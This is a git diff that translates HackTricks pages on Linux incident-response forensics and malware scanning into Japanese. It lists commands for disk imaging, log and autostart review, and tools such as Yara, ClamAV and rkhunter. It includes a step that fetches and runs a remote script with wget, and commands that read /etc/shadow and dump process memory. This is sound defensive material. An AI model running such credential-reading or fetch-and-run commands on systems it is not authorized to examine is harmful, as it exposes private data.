```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### ディスクイメージの事前分析 -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +データがこれ以上ないディスクイメージをイメージングする。 ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## 既知のマルウェアを検索 -
+### 修正されたシステムファイル -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linuxは、システムコンポーネントの整合性を確保するためのツールを提供しており、潜在的に問題のあるファイルを特定するために重要です。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **RedHatベースのシステム**: `rpm -Va`を使用して包括的なチェックを行います。 +- **Debianベースのシステム**: 初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"`(`apt-get install debsums`で`debsums`をインストールした後)を実行して問題を特定します。 -## Search for known Malware +### マルウェア/ルートキット検出ツール -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +マルウェアを見つけるのに役立つツールについて学ぶには、以下のページをお読みください: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## インストールされたプログラムを検索 -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +DebianおよびRedHatシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを併用することを検討してください。 -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Debianの場合、_**`/var/lib/dpkg/status`**_および_**`/var/log/dpkg.log`**_を調査してパッケージインストールに関する詳細を取得し、`grep`を使用して特定の情報をフィルタリングします。 +- RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してインストールされたパッケージのリストを取得できます。 +これらのパッケージマネージャーの外部で手動でインストールされたソフトウェアを明らかにするために、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、および_**`/sbin`**_のようなディレクトリを探索してください。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、インストールされたすべてのプログラムの検索を強化します。 ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## 削除された実行中のバイナリの回復 -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +/tmp/exec から実行されたプロセスが削除されたと想像してください。それを抽出することが可能です。 ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## 自動起動場所の検査 -## Inspect Autostart locations - -### Scheduled Tasks - +### スケジュールされたタスク ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### サービス -### Services +マルウェアがサービスとしてインストールされる可能性のあるパス: -Paths where a malware could be installed as a service: +- **/etc/inittab**: rc.sysinitのような初期化スクリプトを呼び出し、さらにスタートアップスクリプトに指示します。 +- **/etc/rc.d/** および **/etc/rc.boot/**: サービスのスタートアップ用スクリプトを含み、後者は古いLinuxバージョンで見られます。 +- **/etc/init.d/**: Debianのような特定のLinuxバージョンでスタートアップスクリプトを保存するために使用されます。 +- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介しても有効化されることがあります。 +- **/etc/systemd/system**: システムおよびサービスマネージャースクリプトのためのディレクトリ。 +- **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーランレベルで起動すべきサービスへのリンクを含みます。 +- **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。 +- **\~/.config/autostart/**: ユーザー固有の自動スタートアプリケーション用で、ユーザーをターゲットにしたマルウェアの隠れ場所になる可能性があります。 +- **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。 -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### カーネルモジュール -### Kernel Modules +Linuxカーネルモジュールは、マルウェアがルートキットコンポーネントとして利用することが多く、システムブート時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: 実行中のカーネルバージョンのモジュールを保持します。 +- **/etc/modprobe.d**: モジュールのロードを制御するための設定ファイルを含みます。 +- **/etc/modprobe** および **/etc/modprobe.conf**: グローバルモジュール設定用のファイル。 -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### その他の自動スタート場所 -### Other Autostart Locations +Linuxは、ユーザーログイン時にプログラムを自動的に実行するためのさまざまなファイルを使用し、マルウェアを隠す可能性があります: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**、および **/etc/bash.bashrc**: すべてのユーザーログイン時に実行されます。 +- **\~/.bashrc**、**\~/.bash_profile**、**\~/.profile**、および **\~/.config/autostart**: ユーザー固有のファイルで、ログイン時に実行されます。 +- **/etc/rc.local**: すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。 -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## ログの調査 -## Examine Logs +Linuxシステムは、さまざまなログファイルを通じてユーザーの活動やシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、その他のセキュリティインシデントを特定するために重要です。主要なログファイルには以下が含まれます: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージや活動をキャプチャします。 +- **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログインおよび失敗したログインを記録します。 +- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。 +- **/var/log/boot.log**: システム起動メッセージを含みます。 +- **/var/log/maillog** または **/var/log/mail.log**: メールサーバーの活動をログに記録し、メール関連サービスの追跡に役立ちます。 +- **/var/log/kern.log**: カーネルメッセージを保存し、エラーや警告を含みます。 +- **/var/log/dmesg**: デバイスドライバーメッセージを保持します。 +- **/var/log/faillog**: 失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。 +- **/var/log/cron**: cronジョブの実行をログに記録します。 +- **/var/log/daemon.log**: バックグラウンドサービスの活動を追跡します。 +- **/var/log/btmp**: 失敗したログイン試行を文書化します。 +- **/var/log/httpd/**: Apache HTTPDのエラーログとアクセスログを含みます。 +- **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLデータベースの活動をログに記録します。 +- **/var/log/xferlog**: FTPファイル転送を記録します。 +- **/var/log/**: ここで予期しないログを常に確認します。 > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。 -**Linux maintains a command history for each user**, stored in: +**Linuxは各ユーザーのコマンド履歴を保持します**。これは以下に保存されます: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがないか確認してください。 -Check files that can grant extra rprivileges: +追加の特権を付与できるファイルを確認します: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers` を確認します。 +- 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します。 +- 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します。 +- 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します。 -Some apps alse generates its own logs: +一部のアプリも独自のログを生成します: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: 不正なリモート接続のために _\~/.ssh/authorized_keys_ と _\~/.ssh/known_hosts_ を調査します。 +- **Gnome Desktop**: Gnomeアプリケーションを介して最近アクセスされたファイルのために _\~/.recently-used.xbel_ を確認します。 +- **Firefox/Chrome**: 疑わしい活動のために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認します。 +- **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細のために _\~/.viminfo_ を確認します。 +- **Open Office**: 侵害されたファイルを示す可能性のある最近の文書アクセスを確認します。 +- **FTP/SFTP**: 不正なファイル転送の可能性があるため、_ \~/.ftp_history_ または _\~/.sftp_history_ のログを確認します。 +- **MySQL**: 実行されたMySQLクエリを調査するために _\~/.mysql_history_ を調査し、不正なデータベース活動を明らかにします。 +- **Less**: 表示されたファイルや実行されたコマンドを含む使用履歴のために _\~/.lesshst_ を分析します。 +- **Git**: リポジトリの変更を確認するために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を調査します。 -### USB Logs +### USBログ -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxのログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。 -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +使用されたすべてのUSBを知ることは興味深く、"違反イベント"(そのリストに含まれていないUSBの使用)を見つけるために、承認されたUSBのリストがあるとさらに有用です。 +### インストール ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### 例 ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -
+## ユーザーアカウントとログオン活動のレビュー -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、知られている不正なイベントに近い位置で作成または使用された異常な名前やアカウントを探します。また、sudoのブルートフォース攻撃の可能性も確認してください。\ +さらに、_**/etc/sudoers**_や_**/etc/groups**_のようなファイルをチェックして、ユーザーに与えられた予期しない特権を確認します。\ +最後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +## ファイルシステムの調査 -## Review User Accounts and Logon Activities +### マルウェア調査におけるファイルシステム構造の分析 -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの著者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを避けたりするなど、この分析を妨げる技術を開発しています。 -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +これらのアンチフォレンジック手法に対抗するためには、以下が重要です: +- **Autopsy**のようなツールを使用してイベントのタイムラインを視覚化するために、**徹底的なタイムライン分析を実施する**か、**Sleuth Kitの**`mactime`を使用して詳細なタイムラインデータを取得します。 +- 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の**予期しないスクリプトを調査する**。 +- **/dev**内の異常なファイルを調べる。通常、特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。 +- **隠しファイルやディレクトリを検索する**。名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)のようなものは、悪意のあるコンテンツを隠している可能性があります。 +- 攻撃者によって悪用される可能性のある、特権が昇格されたファイルを見つけるために、次のコマンドを使用して**setuid rootファイルを特定する**:`find / -user root -perm -04000 -print` +- ルートキットやトロイの木馬の存在を示す可能性がある、大量のファイル削除を示すために、inodeテーブル内の**削除タイムスタンプをレビューする**。 +- 1つの悪意のあるファイルを特定した後、近くの悪意のあるファイルのために**連続したinodeを検査する**。これらは一緒に配置されている可能性があります。 +- マルウェアによって変更される可能性があるため、最近変更されたファイルのために**一般的なバイナリディレクトリ**(_/bin_、_/sbin_)を確認する。 ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> 攻撃者は**ファイルを正当なものに見せるために** **時間を変更することができます**が、**inodeを変更することはできません**。もし**ファイル**が同じフォルダ内の他のファイルと**同時に作成および変更された**ことを示しているが、**inodeが予期せず大きい**場合、その**ファイルのタイムスタンプが変更された**ことになります。 -## Compare files of different filesystem versions +## 異なるファイルシステムバージョンの比較 -### Filesystem Version Comparison Summary +### ファイルシステムバージョン比較の概要 -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +ファイルシステムのバージョンを比較し、変更点を特定するために、簡略化された`git diff`コマンドを使用します: +- **新しいファイルを見つけるために**、2つのディレクトリを比較します: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **変更された内容**、特定の行を無視して変更をリストします: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **削除されたファイルを検出するには**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更に絞り込むのに役立ちます。 +- `A`: 追加されたファイル +- `C`: コピーされたファイル +- `D`: 削除されたファイル +- `M`: 変更されたファイル +- `R`: 名前が変更されたファイル +- `T`: タイプの変更 (例: ファイルからシンボリックリンク) +- `U`: マージされていないファイル +- `X`: 不明なファイル +- `B`: 壊れたファイル -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## 参考文献 - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..a9026c908 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# マルウェア分析 {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## フォレンジック チートシート [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## オンラインサービス - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## オフラインアンチウイルスおよび検出ツール ### Yara -#### Install - +#### インストール ```bash sudo apt-get install -y yara ``` +#### ルールの準備 -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +このスクリプトを使用して、githubからすべてのyaraマルウェアルールをダウンロードしてマージします: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ ディレクトリを作成し、実行します。これにより、すべてのマルウェア用のyaraルールを含む _**malware_rules.yar**_ というファイルが作成されます。 ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### スキャン ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: マルウェアのチェックとルールの作成 -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +バイナリから yara ルールを生成するためにツール [**YaraGen**](https://github.com/Neo23x0/yarGen) を使用できます。これらのチュートリアルをチェックしてください: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### インストール ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### スキャン ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** は、実行可能ファイル(PE、ELF、.NET)内の潜在的に悪意のある **機能** を検出します。したがって、Att\&ck 戦術や次のような疑わしい機能を見つけることができます: -- check for OutputDebugString error -- run as a service -- create process +- OutputDebugString エラーのチェック +- サービスとして実行 +- プロセスの作成 -Get it int he [**Github repo**](https://github.com/mandiant/capa). +[**Github リポジトリ**](https://github.com/mandiant/capa) から入手できます。 ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC は、妥協の指標(Indicator Of Compromise)を意味します。IOC は、潜在的に望ましくないソフトウェアや確認された **マルウェア** を特定するための **条件のセット** です。ブルーチームは、この種の定義を使用して、**システム** や **ネットワーク** 内のこの種の悪意のあるファイルを **検索** します。\ +これらの定義を共有することは非常に有用で、コンピュータ内でマルウェアが特定され、そのマルウェアの IOC が作成されると、他のブルーチームはそれを使用してマルウェアをより迅速に特定できます。 -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOC を作成または修正するためのツールは [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**です。**\ +[**Redline**](https://www.fireeye.com/services/freeware/redline.html) などのツールを使用して、**デバイス内の定義された IOC を検索** できます。 ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) は、単純な妥協の指標をスキャンするツールです。\ +検出は、4つの検出方法に基づいています: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) は、GNU GPLv2 ライセンスの下でリリースされた Linux 用のマルウェアスキャナーで、共有ホスティング環境で直面する脅威に基づいて設計されています。ネットワークエッジ侵入検知システムからの脅威データを使用して、攻撃に積極的に使用されているマルウェアを抽出し、検出のためのシグネチャを生成します。さらに、脅威データは、LMD チェックアウト機能を使用したユーザーの提出やマルウェアコミュニティリソースからも得られます。 ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +[**rkhunter**](http://rkhunter.sourceforge.net) のようなツールは、ファイルシステムに対して可能な **rootkits** とマルウェアをチェックするために使用できます。 ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - 